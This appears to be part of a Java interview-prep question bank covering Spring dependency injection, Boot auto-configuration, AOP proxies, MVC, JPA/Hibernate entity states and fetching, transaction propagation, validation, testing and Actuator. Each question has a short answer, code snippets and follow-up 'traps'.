Q10 How does Spring handle circular dependencies? INTERMEDIATE

For singleton beans with setter/field injection Spring exposes early references via a three-level cache and resolves the cycle. With constructor injection it cannot, and throws `BeanCurrentlyInCreationException`.

- Since Spring Boot 2.6 circular references are prohibited by default (`spring.main.allow-circular-references=false`).
- Real fix: redesign (extract a third bean, use events), or break with `@Lazy` on one injection point.

FOLLOW-UP TRAPS

- **Do prototype cycles work?** No, Spring does not cache prototypes, so it fails.
- **Does `@Lazy` remove the cycle?** It injects a lazy proxy, deferring resolution, but the design smell remains.

#circular-dependency #di

Q11 What does @SpringBootApplication do? BASIC

It is a composite of `@SpringBootConfiguration` (a `@Configuration`), `@EnableAutoConfiguration` and `@ComponentScan` rooted at the annotated class's package.

- Beans outside the main class's package tree are not scanned unless `scanBasePackages` is set.

FOLLOW-UP TRAPS

- **Why put the main class in a root package?** Component scan covers that package and sub-packages only.
- **Can you exclude an auto-configuration?** Yes, `@SpringBootApplication(exclude = X.class)` or `spring.autoconfigure.exclude`.

#spring-boot #auto-configuration

Q12 How does Spring Boot auto-configuration work? INTERMEDIATE

`@EnableAutoConfiguration` imports classes listed in `META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports` (Boot 2.7+/3.x; formerly `spring.factories`). Each is a `@Configuration` guarded by conditions such as `@ConditionalOnClass`, `@ConditionalOnMissingBean`, `@ConditionalOnProperty`.

- Because of `@ConditionalOnMissingBean`, your own bean always backs off the default.
- Run with `--debug` or use the actuator `conditions` endpoint to see the condition evaluation report.

FOLLOW-UP TRAPS

- **Are auto-configurations applied before or after user config?** After, which is what lets `@ConditionalOnMissingBean` see your beans.
- **Is `spring.factories` still used for auto-config in Boot 3?** No, the `.imports` file replaced it.

#auto-configuration #conditional

Q13 What are Spring Boot starters? BASIC

Starters are curated dependency descriptors (for example `spring-boot-starter-web`, `-data-jpa`, `-test`, `-validation`, `-actuator`) that pull a consistent set of libraries. They contain no code of note; the auto-configuration module does the wiring.

- Version alignment comes from the `spring-boot-dependencies` BOM through `spring-boot-starter-parent` or the dependency-management plugin.

FOLLOW-UP TRAPS

- **Why do you not specify versions for starters?** The BOM manages them.
- **Which server does `starter-web` embed?** Tomcat by default; exclude it and add `starter-jetty` or `starter-undertow` to switch.

#starters #dependency-management

Q14 How do profiles work? BASIC

Profiles group beans and properties per environment. Activate with `spring.profiles.active=prod`, an env var `SPRING_PROFILES_ACTIVE`, or `--spring.profiles.active`. Beans use `@Profile("dev")`; properties live in `application-dev.yml` and override the base file.

- A profile expression like `@Profile("!prod")` or `"dev & local"` is supported.
- Boot 2.4+ also supports `spring.config.activate.on-profile` inside multi-document YAML.

FOLLOW-UP TRAPS

- **If no profile is active, which runs?** The `default` profile.
- **Is `spring.profiles` still valid in a profile-specific document?** No, it was replaced by `spring.config.activate.on-profile` in 2.4.

#profiles #configuration

Q15 What is the precedence order of Spring Boot configuration sources? INTERMEDIATE

Higher wins: command-line args, `SPRING_APPLICATION_JSON`, OS environment variables, profile-specific files outside the jar, profile-specific files inside the jar, `application.properties/yml` outside, then inside the jar, `@PropertySource`, and finally defaults.

- Env var `MY_APP_DB_URL` maps to `my.app.db.url` through relaxed binding.
- This is how a container overrides a packaged default without rebuilding.

FOLLOW-UP TRAPS

- **`application.properties` and `application.yml` both present?** Both load; `.properties` wins on conflicts.
- **Does `@PropertySource` support YAML?** Not by default; it needs a custom factory.

#externalized-config #properties

Q16 @Value versus @ConfigurationProperties? INTERMEDIATE

`@Value("${key:default}")` injects a single value with SpEL support. `@ConfigurationProperties(prefix="app")` binds a hierarchy to a typed bean with relaxed binding, validation and IDE metadata. Prefer the latter for groups of settings.

```
@ConfigurationProperties(prefix = "app.mail")
@Validated
public record MailProps(@NotBlank String host, @Min(1) int port) {}
```

- Register with `@EnableConfigurationProperties` or `@ConfigurationPropertiesScan`; records use constructor binding in Boot 3.

FOLLOW-UP TRAPS

- **Does `@Value` support relaxed binding?** Not fully; use the exact key.
- **Does a `@Validated` properties class fail at startup?** Yes, binding errors stop the app, which is desirable.

#configuration-properties #value

Q17 What is AOP and what are its core terms?

BASIC

Aspect-oriented programming modularizes cross-cutting concerns (logging, security, transactions, metrics).

- Aspect: class holding the concern. Advice: the action (`@Before`, `@After`, `@AfterReturning`, `@AfterThrowing`, `@Around`).
- Join point: a point in execution (in Spring AOP always a method execution). Pointcut: expression selecting join points.
- Weaving: linking aspects to targets; Spring does it at runtime via proxies.

FOLLOW-UP TRAPS

- **Can Spring AOP intercept field access or constructors?** No, only public/protected method calls on Spring beans; use AspectJ for more.
- **Which advice can change the return value or skip the call?** Only `@Around`.

#aop #aspect #pointcut

Q18 How does Spring AOP create proxies?

INTERMEDIATE

If the bean implements an interface, a JDK dynamic proxy may be used; otherwise a CGLIB subclass proxy. Spring Boot defaults to CGLIB (`spring.aop.proxy-target-class=true`) even when interfaces exist.

- CGLIB cannot proxy `final` classes or `final` / `private` methods.
- Callers get the proxy; the proxy runs advice then delegates to the target.

FOLLOW-UP TRAPS

- **Why inject by interface works with JDK proxies but by class fails?** The JDK proxy is not a subtype of the concrete class; Boot's CGLIB default avoids this.
- **Does a `final` method with `@Transactional` work?** No, advice is silently skipped.

#aop #proxy #cglib

Q19 Why does self-invocation bypass @Transactional or other AOP advice?

INTERMEDIATE

Advice lives in the proxy. A call `this.method()` inside the target goes straight to the raw object, never through the proxy, so no advice runs.

- Fixes: move the method to another bean, inject the proxy (self-injection with `@Lazy`), use `AopContext.currentProxy()` with `exposeProxy=true`, or use AspectJ weaving.

FOLLOW-UP TRAPS

- **Does it matter if the called method is public?** No, the issue is the call path, not visibility.
- **Does `@Async` have the same limitation?** Yes.

#aop #self-invocation #proxy

Q20 Describe the Spring MVC request flow.

BASIC

The request hits `DispatcherServlet` (front controller) -> `HandlerMapping` finds the handler and interceptors -> `HandlerAdapter` invokes the controller method, resolving arguments (`@PathVariable`, `@RequestBody`) via `HandlerMethodArgumentResolver`s -> return value handled by `HttpMessageConverter` (for `@ResponseBody`) or a `ViewResolver` + view -> response.

- Exceptions go to `HandlerExceptionResolver`s such as `@ExceptionHandler` / `@ControllerAdvice`.
- Servlet filters run before `DispatcherServlet`; `HandlerInterceptor`s run after mapping.

FOLLOW-UP TRAPS

- **Filter vs interceptor?** Filter is a servlet-container concept wrapping everything; interceptor is Spring MVC, knows the handler and cannot see the raw stream before binding.
- **How is JSON produced?** Jackson via `MappingJackson2HttpMessageConverter`.

#spring-mvc #dispatcherservlet

Q21 @RequestParam, @PathVariable and @RequestBody: differences? BASIC

`@PathVariable` binds a URI template segment (`/users/{id}`), `@RequestParam` a query/form parameter, `@RequestBody` deserializes the body via a message converter.

- `@RequestParam` is required by default; use `required=false` or `defaultValue`.
- Using a missing required param yields HTTP 400.

FOLLOW-UP TRAPS

- **Can there be two `@RequestBody` parameters?** No, the body stream is consumed once.
- **What does `@RequestParam` do with form posts?** It binds `application/x-www-form-urlencoded` fields too.

#spring-mvc #binding

Q22 How do you handle exceptions globally in Spring MVC? INTERMEDIATE

Use `@RestControllerAdvice` with `@ExceptionHandler` methods mapping exceptions to responses. Spring 6 / Boot 3 supports RFC 7807 `ProblemDetail` (`spring.mvc.problemdetails.enabled=true`) and `ResponseEntityExceptionHandler`.

```
@RestControllerAdvice
class Errors {
    @ExceptionHandler(NotFoundException.class)
    ProblemDetail notFound(NotFoundException e) {
        return ProblemDetail.forStatusAndDetail(HttpStatus.NOT_FOUND, e.getMessage());
    }
}
```

FOLLOW-UP TRAPS

- **Does an `@ExceptionHandler` inside a controller apply globally?** No, only to that controller.
- **Which handler wins, specific or general?** The closest exception type match.

#exception-handling #controlleradvice #problemdetail

Q23 What does @ResponseStatus and ResponseEntity give you? BASIC

`@ResponseStatus` fixes a status on a method or exception class. `ResponseEntity<T>` lets you set status, headers and body dynamically per call.

- Default status for `@ResponseBody` return is 200; returning `void` with `@ResponseStatus(NO_CONTENT)` gives 204.

FOLLOW-UP TRAPS

- **Can `@ResponseStatus` vary at runtime?** No, use `ResponseEntity` for that.
- **Returning `null` from a `@ResponseBody` method?** Empty body with 200.

#spring-mvc #responseentity

Q24 What is the difference between Spring MVC and WebFlux? INTERMEDIATE

MVC is servlet-based and blocking, one thread per request. WebFlux is non-blocking, built on Reactor (`Mono` / `Flux`) over Netty or servlet 3.1+ async, using few event-loop threads.

- WebFlux helps with high concurrency and streaming, but only if the whole chain (including DB drivers) is non-blocking.
- Java 21 virtual threads (`spring.threads.virtual.enabled=true`, Boot 3.2) let MVC scale blocking code with much less rewrite.

FOLLOW-UP TRAPS

- **Is WebFlux faster for CRUD over JDBC?** No, blocking JDBC on event loops hurts.
- **Can you use `RestClient` or `WebClient`?** `WebClient` works in both; `RestClient` (6.1) is the sync alternative.

#webflux #spring-mvc #reactive

Q25 What is JdbcTemplate and what does it solve? BASIC

`JdbcTemplate` removes JDBC boilerplate: it acquires/releases connections, prepares statements, iterates `ResultSet`s, and translates `SQLException` into the unchecked `DataAccessException` hierarchy.

```
List<User> users = jdbc.query(
    "select id, name from users where active = ?",
    (rs, i) -> new User(rs.getLong("id"), rs.getString("name")),
    true);
```

FOLLOW-UP TRAPS

- **Is it thread-safe?** Yes once configured; share one instance.
- **Does it prevent SQL injection?** Only if you use `?` placeholders, not string concatenation.

#jdbc #jdbctemplate

Q26 JdbcTemplate versus NamedParameterJdbcTemplate versus JdbcClient? INTERMEDIATE

`NamedParameterJdbcTemplate` uses `:name` parameters, avoiding positional errors and allowing `IN (:ids)` with collections. `JdbcClient` (Spring 6.1) is a fluent facade over both.

```
jdbcClient.sql("select * from users where status = :s")
          .param("s", "ACTIVE")
          .query(User.class).list();
```

- `SimpleJdbcInsert` and `KeyHolder` help fetch generated keys.

FOLLOW-UP TRAPS

- **Can plain `JdbcTemplate` bind a list to `IN (?)`?** No, you must expand placeholders yourself; the named variant does it.
- **How do you batch?** `batchUpdate` with a `BatchPreparedStatementSetter` or a list of args.

#jdbc #namedparameterjdbctemplate #jdbcclient

Q27 What is the difference between JPA, Hibernate and Spring Data JPA? BASIC

JPA (Jakarta Persistence) is a specification of interfaces and annotations. Hibernate is the most common implementation. Spring Data JPA is a layer on top that generates repository implementations and uses JPA (so Hibernate) underneath.

- Boot 3 uses Hibernate 6 and the `jakarta.persistence` package (was `javax.persistence`).

FOLLOW-UP TRAPS

- **Can you use JPA without Hibernate?** Yes, with EclipseLink or OpenJPA.
- **Does Spring Data JPA replace the `EntityManager`?** No, it wraps it; you can still inject the `EntityManager`.

#jpa #hibernate #spring-data

Q28 Explain the JPA entity states. BASIC

- Transient/new: not associated with a persistence context, no row.
- Managed/persistent: attached to a session; changes are tracked and flushed.
- Detached: was managed, its session closed or cleared.
- Removed: scheduled for deletion on flush.

Transitions: `persist` (new -> managed), `find`/query (-> managed), `detach`/`clear`/close (managed -> detached), `merge` (detached -> managed copy), `remove` (managed -> removed).

FOLLOW-UP TRAPS

- **Is an entity with an id set always detached?** No; a new object with a manually assigned id is still transient until persisted.
- **Does `persist` on a detached entity work?** It throws `PersistentObjectException` / `EntityExistsException`; use `merge`.

#entity-lifecycle #persistence-context

Q29 What is the persistence context (first-level cache)? BASIC

The persistence context is the per-`EntityManager`/`Session` identity map. It guarantees one instance per entity id, caches loaded entities, and tracks changes for dirty checking. It is always on and cannot be disabled.

- `em.find` twice with the same id hits the database once.
- JPQL queries still execute SQL, but returned rows resolve to already-managed instances.

FOLLOW-UP TRAPS

- **Does the first-level cache share across threads or requests?** No, it is scoped to one session (typically one transaction).
- **Does a JPQL query hit the cache?** It always runs SQL; only `find` by id short-circuits.

#first-level-cache #session #persistence-context

Q30 How does dirty checking and flushing work? INTERMEDIATE

On load Hibernate stores a snapshot of each entity's state. At flush it compares current state to the snapshot and issues `UPDATE`s for differences, so no explicit `save` is needed for a managed entity.

- Flush happens at commit, before a JPQL/HQL query that touches affected tables (`FlushMode.AUTO`), or on explicit `flush()`.
- Flush sends SQL; commit makes it durable.

FOLLOW-UP TRAPS

- **Does `repo.save(managedEntity)` add anything?** No-op for a managed entity; the update happens anyway.
- **Does flush equal commit?** No; flushed changes can still roll back.

#dirty-checking #flush #hibernate

Q31 What is the difference between persist, merge, save and saveOrUpdate? INTERMEDIATE

`persist` makes a new entity managed (same instance) and returns void. `merge` copies state of a detached/new object onto a managed instance and returns that instance; the argument stays unmanaged. Hibernate's `save`/`saveOrUpdate` are legacy native APIs (deprecated in 6, removed later). Spring Data's `save` calls `persist` if `isNew()` else `merge`.

- `isNew()` is true when the id is null (or the version is null for a wrapper-typed `@Version`).

FOLLOW-UP TRAPS

- **After `merge(x)`, is `x` managed?** No, only the returned copy.
- **`save` with an assigned id that is never null?** Treated as existing, so it does `merge` (an extra SELECT); implement `Persistable` to fix.

#persist #merge #spring-data

Q32 Explain the main JPA relationship mappings. BASIC

`@OneToOne`, `@OneToMany`, `@ManyToOne`, `@ManyToMany`. The owning side holds the foreign key; the inverse side uses `mappedBy`.

- Best practice: prefer a bidirectional `@OneToMany` with `@ManyToOne` as owner, or only unidirectional `@ManyToOne`.
- `@ManyToMany` hides a join table; model an explicit join entity when it needs extra columns.
- `@JoinColumn` names the FK column.

FOLLOW-UP TRAPS

- **Who owns the relationship with `mappedBy`?** The other side, the one without `mappedBy`.
- **Is a unidirectional `@OneToMany` efficient?** It uses a join table or extra UPDATEs; avoid unless needed.

#mappings #onetomany #manytomany

Q33 What are the fetch types and their defaults? BASIC

`LAZY` loads the association on first access via a proxy or lazy collection; `EAGER` loads it with the owner. Defaults: `@ManyToOne` and `@OneToOne` are EAGER; `@OneToMany` and `@ManyToMany` are LAZY.

- Best practice: set `@ManyToOne(fetch = LAZY)` and fetch what you need per query (`JOIN FETCH`, entity graphs).

FOLLOW-UP TRAPS

- **Is `LAZY` a guarantee?** It is a hint for to-one associations without bytecode enhancement; collections are reliably lazy.
- **Why is EAGER risky?** It cascades into N+1 selects and loads data you may not need.

#fetch-type #lazy #eager

Q34 What is the N+1 select problem and how do you fix it? INTERMEDIATE

Loading N parents then touching a lazy association on each issues 1 + N queries. Fix by fetching together: `JOIN FETCH`, `@EntityGraph`, `@BatchSize` / `default_batch_fetch_size`, or a DTO projection.

```
@Query("select o from Order o join fetch o.items where o.status = :s")
List<Order> findWithItems(@Param("s") Status s);
```

FOLLOW-UP TRAPS

- **Can you `JOIN FETCH` two bags?** No, `MultipleBagFetchException`; fetch one and batch the other, or use `Set`.
- **Does `join fetch` with pagination work?** Hibernate paginates in memory (warning HHH000104); avoid for collections.

#n-plus-one #performance #join-fetch

Q35 What is LazyInitializationException? INTERMEDIATE

It is thrown when a lazy association or proxy is accessed after its session closed. Fix by loading what you need inside the transaction (fetch join, entity graph, DTO), not by switching to EAGER globally.

- `spring.jpa.open-in-view` (default true in Boot) keeps the session open through the web layer and hides the problem, at the cost of holding a connection longer.

> **FOLLOW-UP TRAPS**
> - **Does `@Transactional` on the controller fix it?** It stretches the transaction over the web layer; better to map to DTOs in the service.
> - **Should you disable open-in-view?** Many teams do for production, accepting explicit fetching.

#lazy #session #exceptions

Q36 What are cascade types and orphanRemoval? INTERMEDIATE

`cascade` propagates entity operations (`PERSIST`, `MERGE`, `REMOVE`, `REFRESH`, `DETACH`, `ALL`) from parent to child. `orphanRemoval = true` deletes a child removed from the parent's collection.

- Use only for true parent-owned children (composition), never `CascadeType.ALL` on `@ManyToOne` or shared entities.

> **FOLLOW-UP TRAPS**
> - **Does `REMOVE` on `@ManyToMany` make sense?** Rarely; it may delete shared entities.
> - **Difference between `REMOVE` cascade and `orphanRemoval`?** Cascade acts when the parent is removed; orphan removal acts when a child is detached from the collection.

#cascade #orphan-removal

Q37 How do @GeneratedValue strategies differ? INTERMEDIATE

`IDENTITY` uses auto-increment columns: simple, but the insert must happen immediately to know the id, disabling JDBC insert batching. `SEQUENCE` fetches ids from a DB sequence (with `allocationSize` pooling), allowing batching. `AUTO` picks per dialect (sequence on PostgreSQL/Oracle in Hibernate 6). `TABLE` is slow and rarely used. `UUID` is supported directly.

> **FOLLOW-UP TRAPS**
> - **Why does IDENTITY block batching?** Hibernate needs the generated key right after each insert.
> - **Mismatch between `allocationSize` and sequence increment?** Duplicate or skipped ids; they must match (default 50).

#id-generation #sequence #identity

Q38 What does @Version do? INTERMEDIATE

`@Version` enables optimistic locking. Hibernate adds `where version = ?` to updates and increments it; if no row matches, it throws `OptimisticLockException` (`ObjectOptimisticLockingFailureException` in Spring).

- No DB lock is held, so it suits low-contention updates; callers handle the exception with a retry or an error to the user.
- Pessimistic alternative: `LockModeType.PESSIMISTIC_WRITE` (`select ... for update`).

> **FOLLOW-UP TRAPS**
> - **Is the version bumped on every field change?** On any flushed update of that entity.
> - **Do bulk JPQL updates bump the version?** Not unless you write `versioned` in HQL or do it manually.

#optimistic-locking #version

Q39 What is JPQL and how does it differ from native SQL? BASIC

JPQL queries entities and their fields rather than tables and columns, is database independent, and is translated to SQL by the provider. Native queries run raw SQL when you need vendor features.

```
TypedQuery<User> q = em.createQuery(
    "select u from User u where u.email = :email", User.class);
q.setParameter("email", email);
```

FOLLOW-UP TRAPS

- **Is JPQL case-sensitive?** Keywords are not; entity and field names are.
- **Do native queries return managed entities?** Yes if you map to an entity type; otherwise tuples/DTOs.

#jpql #hql #native-query

Q40 What is the Criteria API and when is it useful? INTERMEDIATE

The Criteria API builds queries programmatically and type-safely, ideal for dynamic filters where predicates are added conditionally.

```
CriteriaBuilder cb = em.getCriteriaBuilder();
CriteriaQuery<User> cq = cb.createQuery(User.class);
Root<User> u = cq.from(User.class);
cq.select(u).where(cb.equal(u.get("status"), "ACTIVE"));
List<User> r = em.createQuery(cq).getResultList();
```

- Spring Data's `Specification` wraps Criteria; Querydsl is a popular alternative.

FOLLOW-UP TRAPS

- **Is Criteria faster than JPQL?** No, same execution; it is only about composition.
- **What is the metamodel for?** Generated `User_` classes avoid string field names.

#criteria #dynamic-queries #specification

Q41 How do Spring Data JPA repositories work? BASIC

You declare an interface extending `JpaRepository<T, ID>` (or `CrudRepository`, `PagingAndSortingRepository`). Spring creates a JDK proxy at startup backed by `SimpleJpaRepository`, supporting CRUD, paging, sorting, derived queries, `@Query` and projections.

```
interface UserRepository extends JpaRepository<User, Long> {
    Optional<User> findByEmailIgnoreCase(String email);
    List<User> findByStatusOrderByCreatedAtDesc(Status s);
}
```

FOLLOW-UP TRAPS

- **Is the derived query validated?** Yes at startup; a wrong property name fails the context.
- **Are repository methods transactional?** Reads in `SimpleJpaRepository` are `readOnly`, writes `@Transactional`.

#spring-data #repository

Q42 How do paging and sorting work in Spring Data? INTERMEDIATE

Pass a `Pageable` (`PageRequest.of(page, size, Sort)`) and return `Page<T>` (runs an extra count query), `Slice<T>` (fetches size+1 to know if there is a next page, no count) or `List<T>`.

- Page numbers are zero-based.
- Offset paging degrades on deep pages; keyset (seek) pagination or `Window` (3.1+) scales better.

FOLLOW-UP TRAPS

- **Why is `Page` sometimes slow?** The count query on large tables.
- **Does sorting accept arbitrary client strings safely?** No, validate property names to avoid errors and information leaks.

#pageable #spring-data #pagination

Q43 What does @Transactional do and what are its defaults? BASIC

It wraps a method in a transaction through an AOP proxy: begin before, commit on success, rollback on failure. Defaults: propagation `REQUIRED`, isolation `DEFAULT` (database default), `readOnly=false`, no timeout.

- Rolls back on unchecked exceptions (`RuntimeException`, `Error`) but commits on checked exceptions unless `rollbackFor` is set.
- Applies only to calls entering through the Spring proxy, on public methods (for proxy-based AOP).

> **FOLLOW-UP TRAPS**
> - **Does a checked exception roll back?** No, by default it commits.
> - **Class-level vs method-level?** Method-level overrides class-level.

#transactional #transactions

Q44 Explain transaction propagation levels. INTERMEDIATE

- `REQUIRED` (default): join existing or create new.
- `REQUIRES_NEW`: suspend current, always run in a new independent transaction.
- `SUPPORTS`: join if present, else non-transactional.
- `MANDATORY`: must have one, else exception.
- `NOT_SUPPORTED`: suspend and run without one.
- `NEVER`: fail if one exists.
- `NESTED`: savepoint inside the outer transaction (JDBC only; JPA/Hibernate transaction manager does not support it).

> **FOLLOW-UP TRAPS**
> - **Does `REQUIRES_NEW` use the same connection?** No, a second connection, so pool exhaustion is a risk.
> - **If an inner `REQUIRED` method throws and the caller catches it, can the outer commit?** No, the shared transaction is already marked rollback-only (`UnexpectedRollbackException`).

#propagation #transactions

Q45 What are isolation levels and which anomalies do they prevent? INTERMEDIATE

`READ_UNCOMMITTED` allows dirty reads; `READ_COMMITTED` prevents dirty reads; `REPEATABLE_READ` also prevents non-repeatable reads; `SERIALIZABLE` also prevents phantoms. Higher isolation costs concurrency.

- PostgreSQL and Oracle default to READ_COMMITTED; MySQL InnoDB to REPEATABLE_READ.
- Set per method with `@Transactional(isolation = ...)`.

> **FOLLOW-UP TRAPS**
> - **Does PostgreSQL honor `READ_UNCOMMITTED`?** It treats it as `READ_COMMITTED`.
> - **What does `readOnly=true` do?** A hint: Hibernate skips dirty checking/flush and some drivers route to replicas; it is not a security guarantee.

#isolation #transactions

Q46 How does Bean Validation work in Spring? BASIC

Add `spring-boot-starter-validation` (Hibernate Validator). Annotate fields with constraints (`@NotNull`, `@NotBlank`, `@Size`, `@Email`, `@Min`) and trigger with `@Valid` / `@Validated` on a `@RequestBody` parameter. Failures raise `MethodArgumentNotValidException` (400).

```
public record SignUp(@NotBlank String name, @Email String email) {}

@PostMapping("/users")
ResponseEntity<Void> create(@Valid @RequestBody SignUp req) { ... }
```

FOLLOW-UP TRAPS

- **`@NotNull` vs `@NotEmpty` vs `@NotBlank`?** Not null; not null and length > 0; not null and contains a non-whitespace character.
- **Is validation applied to nested objects automatically?** Only if the nested field carries `@Valid`.

#validation #bean-validation

Q47 @Valid versus @Validated? INTERMEDIATE

`@Valid` is the standard Jakarta annotation and cascades into nested objects. `@Validated` is Spring's variant that supports validation groups and, at class level, enables method-level validation of parameters on any bean via a proxy.

- Method validation of `@PathVariable` / `@RequestParam` constraints needs `@Validated` on the controller (Spring 6.1 built-in handler validation makes this implicit).
- Violations there throw `ConstraintViolationException` (or `HandlerMethodValidationException` in 6.1).

FOLLOW-UP TRAPS

- **Which supports groups?** `@Validated`.
- **Same exception type for body and param violations?** Not in older versions: `MethodArgumentNotValidException` vs `ConstraintViolationException`.

#validation #validated #groups

Q48 What testing slices and annotations does Spring Boot provide? BASIC

`@SpringBootTest` loads the full context (add `webEnvironment` for a real or random port). Slices load only a layer: `@WebMvcTest` (controllers + MVC infrastructure, with `MockMvc`), `@DataJpaTest` (JPA + embedded DB, transactional rollback per test), `@JsonTest`, `@RestClientTest`, `@DataJdbcTest`.

- `@MockBean` (deprecated in Boot 3.4 for `@MockitoBean`) replaces a bean with a mock in the context.

FOLLOW-UP TRAPS

- **Are `@Service` beans loaded by `@WebMvcTest`?** No; mock them.
- **Does `@DataJpaTest` use the real DB?** It replaces it with an embedded one unless `@AutoConfigureTestDatabase(replace = NONE)`.

#testing #springboottest #slices

Q49 How do you unit-test a service versus integration-test with a real database? INTERMEDIATE

Unit-test services with plain JUnit 5 and Mockito (`@ExtendWith(MockitoExtension.class)`), no Spring context, relying on constructor injection. For persistence, use `@DataJpaTest` against Testcontainers with the production database engine (Boot 3.1+ `@ServiceConnection` wires the URL automatically).

- Embedded H2 can hide dialect differences (JSON, locking, sequences).

FOLLOW-UP TRAPS

- **Is the Spring context cached across tests?** Yes, by configuration key, so different `@MockBean` sets create new contexts and slow the suite.
- **Does `@Transactional` on a test roll back?** Yes by default, which can hide commit-time issues.

#testing #mockito #testcontainers

Q50 What is Spring Boot Actuator? BASIC

Actuator adds production endpoints for health, metrics, info, environment, beans, mappings, loggers, thread dumps and more, via `spring-boot-starter-actuator`. Over HTTP only `health` is exposed by default; others need `management.endpoints.web.exposure.include`.

```
management:
  endpoints.web.exposure.include: health,info,prometheus
  endpoint.health.show-details: when-authorized
```

- Metrics use Micrometer and can export to Prometheus and others.

FOLLOW-UP TRAPS

- **Why secure `env` and `heapdump`?** They can leak secrets and memory contents.
- **Can you move management to a separate port?** Yes, `management.server.port`.

#actuator #monitoring

Q51 How do health indicators, liveness and readiness probes work? INTERMEDIATE

`/actuator/health` aggregates `HealthIndicator` beans (db, disk, custom). On Kubernetes, Boot exposes `/actuator/health/liveness` and `/readiness` groups (auto-enabled in a detected K8s environment or via `management.endpoint.health.probes.enabled=true`).

- Readiness should reflect ability to take traffic; liveness should only fail when a restart helps.
- Do not include downstream dependencies in liveness, or an outage restarts every pod.

FOLLOW-UP TRAPS

- **Overall status when one indicator is DOWN?** DOWN (HTTP 503), by default status order.
- **How to add a custom indicator?** Implement `HealthIndicator` as a bean; name derives from the class name minus the suffix.

#actuator #health #kubernetes

Q52 What is Hibernate's second-level cache and query cache? ADVANCED

The second-level cache is a `SessionFactory`-wide cache of entity state shared across sessions, off by default, enabled with a JCache/Ehcache/Infinispan provider and `@Cacheable` plus a cache concurrency strategy. The query cache stores id lists for queries and depends on the L2 cache.

- Good for read-mostly reference data; invalidated per table on writes.
- Not cluster-coherent without a distributed provider.

FOLLOW-UP TRAPS

- **Is it enabled by default?** No.
- **Does it cache collections automatically?** Only if the collection itself is annotated for caching.

#second-level-cache #caching #hibernate

Scenarios

Q53 A @Transactional method calls another @Transactional method in the same class. Does the second get its own transaction? INTERMEDIATE

No. The inner call is `this.inner()`, bypassing the proxy, so its `@Transactional(propagation = REQUIRES_NEW)` is ignored and it runs in the caller's transaction (or none, if the caller is not transactional).

- Move `inner` into another bean, or inject the proxy of the bean itself.

FOLLOW-UP TRAPS

- **Will a rollback in `inner` roll back `outer`?** Yes, since they are the same transaction.
- **Will it compile and start fine?** Yes, the failure is silent.

#transactional #self-invocation

Q54 **A service method throws a checked IOException annotated @Transactional. Is the data saved?** BASIC

Yes, it is committed. Default rollback rules cover only `RuntimeException` and `Error`. Use `@Transactional(rollbackFor = IOException.class)` (or `Exception.class`) to roll back.

FOLLOW-UP TRAPS

- **What about an unchecked exception that is caught and swallowed inside the method?** The proxy never sees it, so it commits.
- **Does EJB behave the same?** Yes, similar rule: application exceptions (checked) do not roll back by default.

#transactional #rollback

Q55 **@Transactional is put on a private method. What happens?** BASIC

Nothing: proxy-based AOP only intercepts calls through the proxy, and private methods are not proxied (CGLIB cannot override them; the JDK proxy sees only interface methods). No transaction starts and no error is raised. Since Spring 6, `protected`/package-private methods work with class-based proxies, but private still does not.

FOLLOW-UP TRAPS

- **Does AspectJ mode fix it?** Yes, weaving into bytecode can advise private methods.
- **Does `final` on a public method have the same effect?** Yes, CGLIB cannot override it.

#transactional #proxy

Q56 **Two inner calls: audit log must persist even if the main transaction rolls back. How?** INTERMEDIATE

Put the audit write in a separate bean method annotated `@Transactional(propagation = REQUIRES_NEW)` and call it through the proxy. It commits independently when it returns.

```
@Service
class AuditService {
    @Transactional(propagation = Propagation.REQUIRES_NEW)
    public void record(String event) { repo.save(new Audit(event)); }
}
```

FOLLOW-UP TRAPS

- **What if it fails and throws?** It rolls back its own transaction and, if propagated, also marks the outer one for rollback.
- **Cost?** A second connection; the pool can deadlock if all connections are held by outer transactions waiting for inner ones.

#propagation #requires-new #audit

Q57 **A controller accesses order.getItems() after the service returns and gets LazyInitializationException. With open-in-view on, it works. Why?** INTERMEDIATE

`OpenEntityManagerInViewInterceptor` binds one `EntityManager` to the whole web request, so the session stays open after the service transaction ends and lazy loads still succeed (each triggers an auto-commit query). With it off, the session closes at the end of the `@Transactional` method.

- Fix properly: fetch the items in the service (`join fetch`, `@EntityGraph`) or map to a DTO there.

FOLLOW-UP TRAPS

- **Does Boot warn about it?** Yes, a startup warning about `spring.jpa.open-in-view` being enabled by default.
- **Is lazy loading in the view inside a transaction?** No, it runs in auto-commit mode.

#lazy #open-in-view

Q58 A list endpoint issues 101 SQL statements for 100 orders. Diagnose and fix. INTERMEDIATE

Classic N+1: one query for orders plus one per order for a lazy (or eager) association. Confirm with `spring.jpa.show-sql` or Hibernate statistics, then use `@EntityGraph(attributePaths = "customer")` or `join fetch`, or set `spring.jpa.properties.hibernate.default_batch_fetch_size=50` to turn N into N/50 `IN` queries.

```
@EntityGraph(attributePaths = {"customer"})
List<Order> findByStatus(Status s);
```

FOLLOW-UP TRAPS

- **Does making the association `LAZY` solve it?** It makes it appear only when accessed; the N+1 stays.
- **Does a DTO projection avoid it?** Yes, one query selecting only the needed columns.

#n-plus-one #entity-graph

Q59 You fetch-join a collection and use pagination. What does Hibernate do? ADVANCED

Hibernate cannot apply `LIMIT` to a joined row set (it would cut parent rows), so it fetches all rows, paginates in memory and logs `HHH000104: firstResult/maxResults specified with collection fetch; applying in memory`. This can blow up memory.

- Workaround: paginate parent ids in one query, then fetch the collections for those ids in a second query, or use batch fetching.

FOLLOW-UP TRAPS

- **Does it happen for `@ManyToOne` fetch joins?** No, to-one joins do not multiply rows.
- **Does `@EntityGraph` on a collection have the same issue?** Yes.

#pagination #join-fetch #hibernate

Q60 You change a managed entity's field inside a @Transactional method and never call save. Is the DB updated? BASIC

Yes. The entity is managed, so dirty checking at flush/commit detects the change and issues an `UPDATE`. Outside a transaction (or on a detached entity), nothing is written.

FOLLOW-UP TRAPS

- **Would `readOnly = true` update it?** Typically not; Hibernate sets flush mode to MANUAL and skips dirty checking.
- **What if you load it with a projection or DTO?** Not managed, so no update.

#dirty-checking #transactional

Q61 What is printed? INTERMEDIATE

```
@Transactional
void demo(Long id) {
    User a = em.find(User.class, id);
    User b = em.find(User.class, id);
    System.out.println(a == b);
}
```

Prints `true`, with only one SELECT. The second `find` is served from the persistence context identity map. In two separate transactions (two sessions) you get two SELECTs and different instances.

FOLLOW-UP TRAPS

- **Would a JPQL `select u from User u where u.id = :id` between them issue SQL?** Yes, but the returned instance is still the same managed object.
- **Does `em.clear()` change it?** The next `find` re-queries and returns a new instance.

#first-level-cache #find

